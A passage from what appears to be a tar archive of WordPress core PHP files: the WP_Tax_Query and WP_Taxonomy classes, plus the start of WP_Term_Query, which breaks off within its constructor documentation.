������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-tax-query.php������������������������������������������������������������������������������0000644�����������������00000045502�15120262030�0010740 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Taxonomy API: WP_Tax_Query class * * @package WordPress * @subpackage Taxonomy * @since 4.4.0 */ /** * Core class used to implement taxonomy queries for the Taxonomy API. * * Used for generating SQL clauses that filter a primary query according to object * taxonomy terms. * * WP_Tax_Query is a helper that allows primary query classes, such as WP_Query, to filter * their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be * attached to the primary SQL query string. * * @since 3.1.0 */ class WP_Tax_Query { /** * Array of taxonomy queries. * * See WP_Tax_Query::__construct() for information on tax query arguments. * * @since 3.1.0 * @var array */ public $queries = array(); /** * The relation between the queries. Can be one of 'AND' or 'OR'. * * @since 3.1.0 * @var string */ public $relation; /** * Standard response when the query should not return any rows. * * @since 3.2.0 * @var string */ private static $no_results = array( 'join' => array( '' ), 'where' => array( '0 = 1' ), ); /** * A flat list of table aliases used in the JOIN clauses. * * @since 4.1.0 * @var array */ protected $table_aliases = array(); /** * Terms and taxonomies fetched by this query. * * We store this data in a flat array because they are referenced in a * number of places by WP_Query. * * @since 4.1.0 * @var array */ public $queried_terms = array(); /** * Database table that where the metadata's objects are stored (eg $wpdb->users). * * @since 4.1.0 * @var string */ public $primary_table; /** * Column in 'primary_table' that represents the ID of the object. * * @since 4.1.0 * @var string */ public $primary_id_column; /** * Constructor. * * @since 3.1.0 * @since 4.1.0 Added support for `$operator` 'NOT EXISTS' and 'EXISTS' values. * * @param array $tax_query { * Array of taxonomy query clauses. * * @type string $relation Optional. The MySQL keyword used to join * the clauses of the query. Accepts 'AND', or 'OR'. Default 'AND'. * @type array ...$0 { * An array of first-order clause parameters, or another fully-formed tax query. * * @type string $taxonomy Taxonomy being queried. Optional when field=term_taxonomy_id. * @type string|int|array $terms Term or terms to filter by. * @type string $field Field to match $terms against. Accepts 'term_id', 'slug', * 'name', or 'term_taxonomy_id'. Default: 'term_id'. * @type string $operator MySQL operator to be used with $terms in the WHERE clause. * Accepts 'AND', 'IN', 'NOT IN', 'EXISTS', 'NOT EXISTS'. * Default: 'IN'. * @type bool $include_children Optional. Whether to include child terms. * Requires a $taxonomy. Default: true. * } * } */ public function __construct( $tax_query ) { if ( isset( $tax_query['relation'] ) ) { $this->relation = $this->sanitize_relation( $tax_query['relation'] ); } else { $this->relation = 'AND'; } $this->queries = $this->sanitize_query( $tax_query ); } /** * Ensure the 'tax_query' argument passed to the class constructor is well-formed. * * Ensures that each query-level clause has a 'relation' key, and that * each first-order clause contains all the necessary keys from `$defaults`. * * @since 4.1.0 * * @param array $queries Array of queries clauses. * @return array Sanitized array of query clauses. */ public function sanitize_query( $queries ) { $cleaned_query = array(); $defaults = array( 'taxonomy' => '', 'terms' => array(), 'field' => 'term_id', 'operator' => 'IN', 'include_children' => true, ); foreach ( $queries as $key => $query ) { if ( 'relation' === $key ) { $cleaned_query['relation'] = $this->sanitize_relation( $query ); // First-order clause. } elseif ( self::is_first_order_clause( $query ) ) { $cleaned_clause = array_merge( $defaults, $query ); $cleaned_clause['terms'] = (array) $cleaned_clause['terms']; $cleaned_query[] = $cleaned_clause; /* * Keep a copy of the clause in the flate * $queried_terms array, for use in WP_Query. */ if ( ! empty( $cleaned_clause['taxonomy'] ) && 'NOT IN' !== $cleaned_clause['operator'] ) { $taxonomy = $cleaned_clause['taxonomy']; if ( ! isset( $this->queried_terms[ $taxonomy ] ) ) { $this->queried_terms[ $taxonomy ] = array(); } /* * Backward compatibility: Only store the first * 'terms' and 'field' found for a given taxonomy. */ if ( ! empty( $cleaned_clause['terms'] ) && ! isset( $this->queried_terms[ $taxonomy ]['terms'] ) ) { $this->queried_terms[ $taxonomy ]['terms'] = $cleaned_clause['terms']; } if ( ! empty( $cleaned_clause['field'] ) && ! isset( $this->queried_terms[ $taxonomy ]['field'] ) ) { $this->queried_terms[ $taxonomy ]['field'] = $cleaned_clause['field']; } } // Otherwise, it's a nested query, so we recurse. } elseif ( is_array( $query ) ) { $cleaned_subquery = $this->sanitize_query( $query ); if ( ! empty( $cleaned_subquery ) ) { // All queries with children must have a relation. if ( ! isset( $cleaned_subquery['relation'] ) ) { $cleaned_subquery['relation'] = 'AND'; } $cleaned_query[] = $cleaned_subquery; } } } return $cleaned_query; } /** * Sanitize a 'relation' operator. * * @since 4.1.0 * * @param string $relation Raw relation key from the query argument. * @return string Sanitized relation ('AND' or 'OR'). */ public function sanitize_relation( $relation ) { if ( 'OR' === strtoupper( $relation ) ) { return 'OR'; } else { return 'AND'; } } /** * Determine whether a clause is first-order. * * A "first-order" clause is one that contains any of the first-order * clause keys ('terms', 'taxonomy', 'include_children', 'field', * 'operator'). An empty clause also counts as a first-order clause, * for backward compatibility. Any clause that doesn't meet this is * determined, by process of elimination, to be a higher-order query. * * @since 4.1.0 * * @param array $query Tax query arguments. * @return bool Whether the query clause is a first-order clause. */ protected static function is_first_order_clause( $query ) { return is_array( $query ) && ( empty( $query ) || array_key_exists( 'terms', $query ) || array_key_exists( 'taxonomy', $query ) || array_key_exists( 'include_children', $query ) || array_key_exists( 'field', $query ) || array_key_exists( 'operator', $query ) ); } /** * Generates SQL clauses to be appended to a main query. * * @since 3.1.0 * * @param string $primary_table Database table where the object being filtered is stored (eg wp_users). * @param string $primary_id_column ID column for the filtered object in $primary_table. * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql( $primary_table, $primary_id_column ) { $this->primary_table = $primary_table; $this->primary_id_column = $primary_id_column; return $this->get_sql_clauses(); } /** * Generate SQL clauses to be appended to a main query. * * Called by the public WP_Tax_Query::get_sql(), this method * is abstracted out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { /* * $queries are passed by reference to get_sql_for_query() for recursion. * To keep $this->queries unaltered, pass a copy. */ $queries = $this->queries; $sql = $this->get_sql_for_query( $queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generate SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse (passed by reference). * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( &$query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => &$clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Generate SQL JOIN and WHERE clauses for a "first-order" query clause. * * @since 4.1.0 * * @global wpdb $wpdb The WordPress database abstraction object. * * @param array $clause Query clause (passed by reference). * @param array $parent_query Parent query array. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a first-order query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql_for_clause( &$clause, $parent_query ) { global $wpdb; $sql = array( 'where' => array(), 'join' => array(), ); $join = ''; $where = ''; $this->clean_query( $clause ); if ( is_wp_error( $clause ) ) { return self::$no_results; } $terms = $clause['terms']; $operator = strtoupper( $clause['operator'] ); if ( 'IN' === $operator ) { if ( empty( $terms ) ) { return self::$no_results; } $terms = implode( ',', $terms ); /* * Before creating another table join, see if this clause has a * sibling with an existing join that can be shared. */ $alias = $this->find_compatible_table_alias( $clause, $parent_query ); if ( false === $alias ) { $i = count( $this->table_aliases ); $alias = $i ? 'tt' . $i : $wpdb->term_relationships; // Store the alias as part of a flat array to build future iterators. $this->table_aliases[] = $alias; // Store the alias with this clause, so later siblings can use it. $clause['alias'] = $alias; $join .= " LEFT JOIN $wpdb->term_relationships"; $join .= $i ? " AS $alias" : ''; $join .= " ON ($this->primary_table.$this->primary_id_column = $alias.object_id)"; } $where = "$alias.term_taxonomy_id $operator ($terms)"; } elseif ( 'NOT IN' === $operator ) { if ( empty( $terms ) ) { return $sql; } $terms = implode( ',', $terms ); $where = "$this->primary_table.$this->primary_id_column NOT IN ( SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($terms) )"; } elseif ( 'AND' === $operator ) { if ( empty( $terms ) ) { return $sql; } $num_terms = count( $terms ); $terms = implode( ',', $terms ); $where = "( SELECT COUNT(1) FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ($terms) AND object_id = $this->primary_table.$this->primary_id_column ) = $num_terms"; } elseif ( 'NOT EXISTS' === $operator || 'EXISTS' === $operator ) { $where = $wpdb->prepare( "$operator ( SELECT 1 FROM $wpdb->term_relationships INNER JOIN $wpdb->term_taxonomy ON $wpdb->term_taxonomy.term_taxonomy_id = $wpdb->term_relationships.term_taxonomy_id WHERE $wpdb->term_taxonomy.taxonomy = %s AND $wpdb->term_relationships.object_id = $this->primary_table.$this->primary_id_column )", $clause['taxonomy'] ); } $sql['join'][] = $join; $sql['where'][] = $where; return $sql; } /** * Identify an existing table alias that is compatible with the current query clause. * * We avoid unnecessary table joins by allowing each clause to look for * an existing table alias that is compatible with the query that it * needs to perform. * * An existing alias is compatible if (a) it is a sibling of `$clause` * (ie, it's under the scope of the same relation), and (b) the combination * of operator and relation between the clauses allows for a shared table * join. In the case of WP_Tax_Query, this only applies to 'IN' * clauses that are connected by the relation 'OR'. * * @since 4.1.0 * * @param array $clause Query clause. * @param array $parent_query Parent query of $clause. * @return string|false Table alias if found, otherwise false. */ protected function find_compatible_table_alias( $clause, $parent_query ) { $alias = false; // Sanity check. Only IN queries use the JOIN syntax. if ( ! isset( $clause['operator'] ) || 'IN' !== $clause['operator'] ) { return $alias; } // Since we're only checking IN queries, we're only concerned with OR relations. if ( ! isset( $parent_query['relation'] ) || 'OR' !== $parent_query['relation'] ) { return $alias; } $compatible_operators = array( 'IN' ); foreach ( $parent_query as $sibling ) { if ( ! is_array( $sibling ) || ! $this->is_first_order_clause( $sibling ) ) { continue; } if ( empty( $sibling['alias'] ) || empty( $sibling['operator'] ) ) { continue; } // The sibling must both have compatible operator to share its alias. if ( in_array( strtoupper( $sibling['operator'] ), $compatible_operators, true ) ) { $alias = $sibling['alias']; break; } } return $alias; } /** * Validates a single query. * * @since 3.2.0 * * @param array $query The single query. Passed by reference. */ private function clean_query( &$query ) { if ( empty( $query['taxonomy'] ) ) { if ( 'term_taxonomy_id' !== $query['field'] ) { $query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); return; } // So long as there are shared terms, 'include_children' requires that a taxonomy is set. $query['include_children'] = false; } elseif ( ! taxonomy_exists( $query['taxonomy'] ) ) { $query = new WP_Error( 'invalid_taxonomy', __( 'Invalid taxonomy.' ) ); return; } $query['terms'] = array_unique( (array) $query['terms'] ); if ( is_taxonomy_hierarchical( $query['taxonomy'] ) && $query['include_children'] ) { $this->transform_query( $query, 'term_id' ); if ( is_wp_error( $query ) ) { return; } $children = array(); foreach ( $query['terms'] as $term ) { $children = array_merge( $children, get_term_children( $term, $query['taxonomy'] ) ); $children[] = $term; } $query['terms'] = $children; } $this->transform_query( $query, 'term_taxonomy_id' ); } /** * Transforms a single query, from one field to another. * * Operates on the `$query` object by reference. In the case of error, * `$query` is converted to a WP_Error object. * * @since 3.2.0 * * @global wpdb $wpdb The WordPress database abstraction object. * * @param array $query The single query. Passed by reference. * @param string $resulting_field The resulting field. Accepts 'slug', 'name', 'term_taxonomy_id', * or 'term_id'. Default 'term_id'. */ public function transform_query( &$query, $resulting_field ) { if ( empty( $query['terms'] ) ) { return; } if ( $query['field'] == $resulting_field ) { return; } $resulting_field = sanitize_key( $resulting_field ); // Empty 'terms' always results in a null transformation. $terms = array_filter( $query['terms'] ); if ( empty( $terms ) ) { $query['terms'] = array(); $query['field'] = $resulting_field; return; } $args = array( 'get' => 'all', 'number' => 0, 'taxonomy' => $query['taxonomy'], 'update_term_meta_cache' => false, 'orderby' => 'none', ); // Term query parameter name depends on the 'field' being searched on. switch ( $query['field'] ) { case 'slug': $args['slug'] = $terms; break; case 'name': $args['name'] = $terms; break; case 'term_taxonomy_id': $args['term_taxonomy_id'] = $terms; break; default: $args['include'] = wp_parse_id_list( $terms ); break; } $term_query = new WP_Term_Query(); $term_list = $term_query->query( $args ); if ( is_wp_error( $term_list ) ) { $query = $term_list; return; } if ( 'AND' === $query['operator'] && count( $term_list ) < count( $query['terms'] ) ) { $query = new WP_Error( 'inexistent_terms', __( 'Inexistent terms.' ) ); return; } $query['terms'] = wp_list_pluck( $term_list, $resulting_field ); $query['field'] = $resulting_field; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-taxonomy.php�������������������������������������������������������������������������������0000644�����������������00000032040�15120262030�0010650 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Taxonomy API: WP_Taxonomy class * * @package WordPress * @subpackage Taxonomy * @since 4.7.0 */ /** * Core class used for interacting with taxonomies. * * @since 4.7.0 */ final class WP_Taxonomy { /** * Taxonomy key. * * @since 4.7.0 * @var string */ public $name; /** * Name of the taxonomy shown in the menu. Usually plural. * * @since 4.7.0 * @var string */ public $label; /** * Labels object for this taxonomy. * * If not set, tag labels are inherited for non-hierarchical types * and category labels for hierarchical ones. * * @see get_taxonomy_labels() * * @since 4.7.0 * @var stdClass */ public $labels; /** * A short descriptive summary of what the taxonomy is for. * * @since 4.7.0 * @var string */ public $description = ''; /** * Whether a taxonomy is intended for use publicly either via the admin interface or by front-end users. * * @since 4.7.0 * @var bool */ public $public = true; /** * Whether the taxonomy is publicly queryable. * * @since 4.7.0 * @var bool */ public $publicly_queryable = true; /** * Whether the taxonomy is hierarchical. * * @since 4.7.0 * @var bool */ public $hierarchical = false; /** * Whether to generate and allow a UI for managing terms in this taxonomy in the admin. * * @since 4.7.0 * @var bool */ public $show_ui = true; /** * Whether to show the taxonomy in the admin menu. * * If true, the taxonomy is shown as a submenu of the object type menu. If false, no menu is shown. * * @since 4.7.0 * @var bool */ public $show_in_menu = true; /** * Whether the taxonomy is available for selection in navigation menus. * * @since 4.7.0 * @var bool */ public $show_in_nav_menus = true; /** * Whether to list the taxonomy in the tag cloud widget controls. * * @since 4.7.0 * @var bool */ public $show_tagcloud = true; /** * Whether to show the taxonomy in the quick/bulk edit panel. * * @since 4.7.0 * @var bool */ public $show_in_quick_edit = true; /** * Whether to display a column for the taxonomy on its post type listing screens. * * @since 4.7.0 * @var bool */ public $show_admin_column = false; /** * The callback function for the meta box display. * * @since 4.7.0 * @var bool|callable */ public $meta_box_cb = null; /** * The callback function for sanitizing taxonomy data saved from a meta box. * * @since 5.1.0 * @var callable */ public $meta_box_sanitize_cb = null; /** * An array of object types this taxonomy is registered for. * * @since 4.7.0 * @var array */ public $object_type = null; /** * Capabilities for this taxonomy. * * @since 4.7.0 * @var stdClass */ public $cap; /** * Rewrites information for this taxonomy. * * @since 4.7.0 * @var array|false */ public $rewrite; /** * Query var string for this taxonomy. * * @since 4.7.0 * @var string|false */ public $query_var; /** * Function that will be called when the count is updated. * * @since 4.7.0 * @var callable */ public $update_count_callback; /** * Whether this taxonomy should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; /** * The base path for this taxonomy's REST API endpoints. * * @since 4.7.4 * @var string|bool $rest_base */ public $rest_base; /** * The controller for this taxonomy's REST API endpoints. * * Custom controllers must extend WP_REST_Controller. * * @since 4.7.4 * @var string|bool $rest_controller_class */ public $rest_controller_class; /** * The controller instance for this taxonomy's REST API endpoints. * * Lazily computed. Should be accessed using {@see WP_Taxonomy::get_rest_controller()}. * * @since 5.5.0 * @var WP_REST_Controller $rest_controller */ public $rest_controller; /** * The default term name for this taxonomy. If you pass an array you have * to set 'name' and optionally 'slug' and 'description'. * * @since 5.5.0 * @var array|string */ public $default_term; /** * Whether terms in this taxonomy should be sorted in the order they are provided to `wp_set_object_terms()`. * * Use this in combination with `'orderby' => 'term_order'` when fetching terms. * * @since 2.5.0 * @var bool|null */ public $sort = null; /** * Array of arguments to automatically use inside `wp_get_object_terms()` for this taxonomy. * * @since 2.6.0 * @var array|null */ public $args = null; /** * Whether it is a built-in taxonomy. * * @since 4.7.0 * @var bool */ public $_builtin; /** * Constructor. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. * * @param string $taxonomy Taxonomy key, must not exceed 32 characters. * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Optional. Array or query string of arguments for registering a taxonomy. * Default empty array. */ public function __construct( $taxonomy, $object_type, $args = array() ) { $this->name = $taxonomy; $this->set_props( $object_type, $args ); } /** * Sets taxonomy properties. * * See the register_taxonomy() function for accepted arguments for `$args`. * * @since 4.7.0 * * @param array|string $object_type Name of the object type for the taxonomy object. * @param array|string $args Array or query string of arguments for registering a taxonomy. */ public function set_props( $object_type, $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a taxonomy. * * @since 4.4.0 * * @param array $args Array of arguments for registering a taxonomy. * See the register_taxonomy() function for accepted arguments. * @param string $taxonomy Taxonomy key. * @param string[] $object_type Array of names of object types for the taxonomy. */ $args = apply_filters( 'register_taxonomy_args', $args, $this->name, (array) $object_type ); $defaults = array( 'labels' => array(), 'description' => '', 'public' => true, 'publicly_queryable' => null, 'hierarchical' => false, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_tagcloud' => null, 'show_in_quick_edit' => null, 'show_admin_column' => false, 'meta_box_cb' => null, 'meta_box_sanitize_cb' => null, 'capabilities' => array(), 'rewrite' => true, 'query_var' => $this->name, 'update_count_callback' => '', 'show_in_rest' => false, 'rest_base' => false, 'rest_controller_class' => false, 'default_term' => null, 'sort' => null, 'args' => null, '_builtin' => false, ); $args = array_merge( $defaults, $args ); // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } if ( false !== $args['query_var'] && ( is_admin() || false !== $args['publicly_queryable'] ) ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } else { // Force 'query_var' to false for non-public taxonomies. $args['query_var'] = false; } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { $args['rewrite'] = wp_parse_args( $args['rewrite'], array( 'with_front' => true, 'hierarchical' => false, 'ep_mask' => EP_NONE, ) ); if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = sanitize_title_with_dashes( $this->name ); } } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_tagcloud'] ) { $args['show_tagcloud'] = $args['show_ui']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_quick_edit'] ) { $args['show_in_quick_edit'] = $args['show_ui']; } $default_caps = array( 'manage_terms' => 'manage_categories', 'edit_terms' => 'manage_categories', 'delete_terms' => 'manage_categories', 'assign_terms' => 'edit_posts', ); $args['cap'] = (object) array_merge( $default_caps, $args['capabilities'] ); unset( $args['capabilities'] ); $args['object_type'] = array_unique( (array) $object_type ); // If not set, use the default meta box. if ( null === $args['meta_box_cb'] ) { if ( $args['hierarchical'] ) { $args['meta_box_cb'] = 'post_categories_meta_box'; } else { $args['meta_box_cb'] = 'post_tags_meta_box'; } } $args['name'] = $this->name; // Default meta box sanitization callback depends on the value of 'meta_box_cb'. if ( null === $args['meta_box_sanitize_cb'] ) { switch ( $args['meta_box_cb'] ) { case 'post_categories_meta_box': $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_checkboxes'; break; case 'post_tags_meta_box': default: $args['meta_box_sanitize_cb'] = 'taxonomy_meta_box_sanitize_cb_input'; break; } } // Default taxonomy term. if ( ! empty( $args['default_term'] ) ) { if ( ! is_array( $args['default_term'] ) ) { $args['default_term'] = array( 'name' => $args['default_term'] ); } $args['default_term'] = wp_parse_args( $args['default_term'], array( 'name' => '', 'slug' => '', 'description' => '', ) ); } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_taxonomy_labels( $this ); $this->label = $this->labels->name; } /** * Adds the necessary rewrite rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { /* @var WP $wp */ global $wp; // Non-publicly queryable taxonomies should not register query vars, except in the admin. if ( false !== $this->query_var && $wp ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical && $this->rewrite['hierarchical'] ) { $tag = '(.+?)'; } else { $tag = '([^/]+)'; } add_rewrite_tag( "%$this->name%", $tag, $this->query_var ? "{$this->query_var}=" : "taxonomy=$this->name&term=" ); add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $this->rewrite ); } } /** * Removes any rewrite rules, permastructs, and rules for the taxonomy. * * @since 4.7.0 * * @global WP $wp Current WordPress environment instance. */ public function remove_rewrite_rules() { /* @var WP $wp */ global $wp; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove rewrite tags and permastructs. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); } } /** * Registers the ajax callback for the meta box. * * @since 4.7.0 */ public function add_hooks() { add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Removes the ajax callback for the meta box. * * @since 4.7.0 */ public function remove_hooks() { remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Gets the REST API controller for this taxonomy. * * Will only instantiate the controller class once per request. * * @since 5.5.0 * * @return WP_REST_Controller|null The controller instance, or null if the taxonomy * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-term-query.php�����������������������������������������������������������������������������0000644�����������������00000110621�15120262030�0011106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Taxonomy API: WP_Term_Query class. * * @package WordPress * @subpackage Taxonomy * @since 4.6.0 */ /** * Class used for querying terms. * * @since 4.6.0 * * @see WP_Term_Query::__construct() for accepted arguments. */ class WP_Term_Query { /** * SQL string used to perform database query. * * @since 4.6.0 * @var string */ public $request; /** * Metadata query container. * * @since 4.6.0 * @var WP_Meta_Query A meta query instance. */ public $meta_query = false; /** * Metadata query clauses. * * @since 4.6.0 * @var array */ protected $meta_query_clauses; /** * SQL query clauses. * * @since 4.6.0 * @var array */ protected $sql_clauses = array( 'select' => '', 'from' => '', 'where' => array(), 'orderby' => '', 'limits' => '', ); /** * Query vars set by the user. * * @since 4.6.0 * @var array */ public $query_vars; /** * Default values for query vars. * * @since 4.6.0 * @var array */ public $query_var_defaults; /** * List of terms located by the query. * * @since 4.6.0 * @var array */ public $terms; /** * Constructor. * * Sets up the term query, based on the query vars passed. * * @since 4.6.0 * @since 4.6.0 Introduced 'term_taxonomy_id' parameter. * @since 4.7.0 Introduced 'object_ids' parameter. * @since 4.9.0 Added 'slug__in' support for 'orderby'. * * @param string|array $query { * Optional. Array or query string of term query parameters. Default empty. * * @type string|array $taxonomy Taxonomy name, or array of taxonomies, to which results should * be limited. * @type int|int[] $object_ids Optional. Object ID, or array of object IDs. Results will be * limited to terms associated with these objects. * @type string $orderby Field(s) to order terms by. Accepts: * - term fields ('name', 'slug', 'term_group', 'term_id', 'id', * 'description', 'parent', 'term_order'). Unless `$object_ids` * is not empty, 'term_order' is treated the same as 'term_id'. * - 'count' to use the number of objects associated with the term. * - 'include' to match the 'order' of the $include param. * - 'slug__in' to match the 'order' of the $slug param. * - 'meta_value', 'meta_value_num'. * - the value of `$meta_key`. * - the array keys of `$meta_query`. * - 'none' to omit the ORDER BY clause. * Defaults to 'name'. * @type string $order Whether to order terms in ascending or descending order. * Accepts 'ASC' (ascending) or 'DESC' (descending). * Default 'ASC'. * @type bool|int $hide_empty Whether to hide terms not assigned to any posts. Accepts * 1|true or 0|false. Default 1|true. * @type int[]|string $include Array or comma/space-separated string of term IDs to include. * Default empty array. * @type int[]|string $exclude Array or comma/space-separated string of term IDs to exclude. * If $include is non-empty, $exclude is ignored. * Default empty array. * @type int[]|string $exclude_tree Array or comma/space-separated string of term IDs to exclude * along with all of their descendant terms. If $include is * non-empty, $exclude_tree is ignored. Default empty array. * @type int|string $number Maximum number of terms to return. Accepts ''|0 (all) or any * positive number. Default ''|0 (all). Note that $number may * not return accurate results when coupled with $object_ids. * See #41796 for details. * @type int $offset The number by which to offset the terms query. Default empty. * @type string $fields Term fields to query for. Accepts: * - 'all' Returns an array of complete term objects (`WP_Term[]`). * - 'all_with_object_id' Returns an array of term objects * with the 'object_id' param (`WP_Term[]`). Works only * when the `$object_ids` parameter is populated. * - 'ids' Returns an array of term IDs (`int[]`). * - 'tt_ids' Returns an array of term taxonomy IDs (`int[]`). * - 'names' Returns an array of term names (`string[]`). * - 'slugs' Returns an array of term slugs (`string[]`). * - 'count' Returns the number of matching terms (`int`). * - 'id=>parent' Returns an associative array of parent term IDs, * keyed by term ID (`int[]`). * - 'id=>name' Returns an associative array of term names, * keyed by term ID (`string[]`). * - 'id=>slug' Returns an associative array of term slugs, * keyed by term ID (`string[]`). * Default 'all'. * @type bool $count Whether to return a term count. If true, will take precedence * over `$fields`. Default false. * @type string|array $name Optional. Name or array of names to return term(s) for. * Default empty. * @type string|array $slug Optional. Slug or array of slugs to return term(s) for. * Default empty. * @type int|int[] $term_taxonomy_id Optional. Term taxonomy ID, or array of term taxonomy IDs, * to match when querying terms. * @type bool $hierarchical Whether to include terms that have non-empty descendants * (even if $hide_empty is set to true). Default true. * @type string $search Search criteria to match terms. Will be SQL-formatted with * wildcards before and after. Default empty. * @type string $name__like Retrieve terms with criteria by which a term is LIKE * `$name__like`. Default empty. * @type string $description__like Retrieve terms where the description is LIKE * `$description__like`. Default empty. * @type bool $pad_counts Whether to pad the quantity of a term's children in the * quantity of each term's "count" object variable. * Default false. * @type string $get Whether to return terms regardless of ancestry or whether the * terms are empty. Accepts 'all' or empty (disabled). * Default empty. * @type int $child_of Term ID to retrieve child terms of. If multiple taxonomies * are passed, $child_of is ignored. Default 0. * @type int|string $parent Parent term ID to retrieve direct-child terms of. * Default empty. * @type bool $childless True to limit results to terms that have no children. * This parameter has no effect on non-hierarchical taxonomies. * Default false. * @type string $cache_domain Unique cache key to be produced when this query is stored in * an object cache. Default is 'core'. * @type bool $update_term_meta_cache Whether to prime meta caches for matched terms. Default true. * @type array $meta_query Optional. Meta query clauses to limit retrieved terms by. * See `WP_Meta_Query`. Default empty. * @type string $meta_key Limit terms to those matching a specific metadata key. * Can be used in conjunction with `$meta_value`. Default empty. * @type string $meta_value Limit terms to those matching a specific metadata value. * Usually 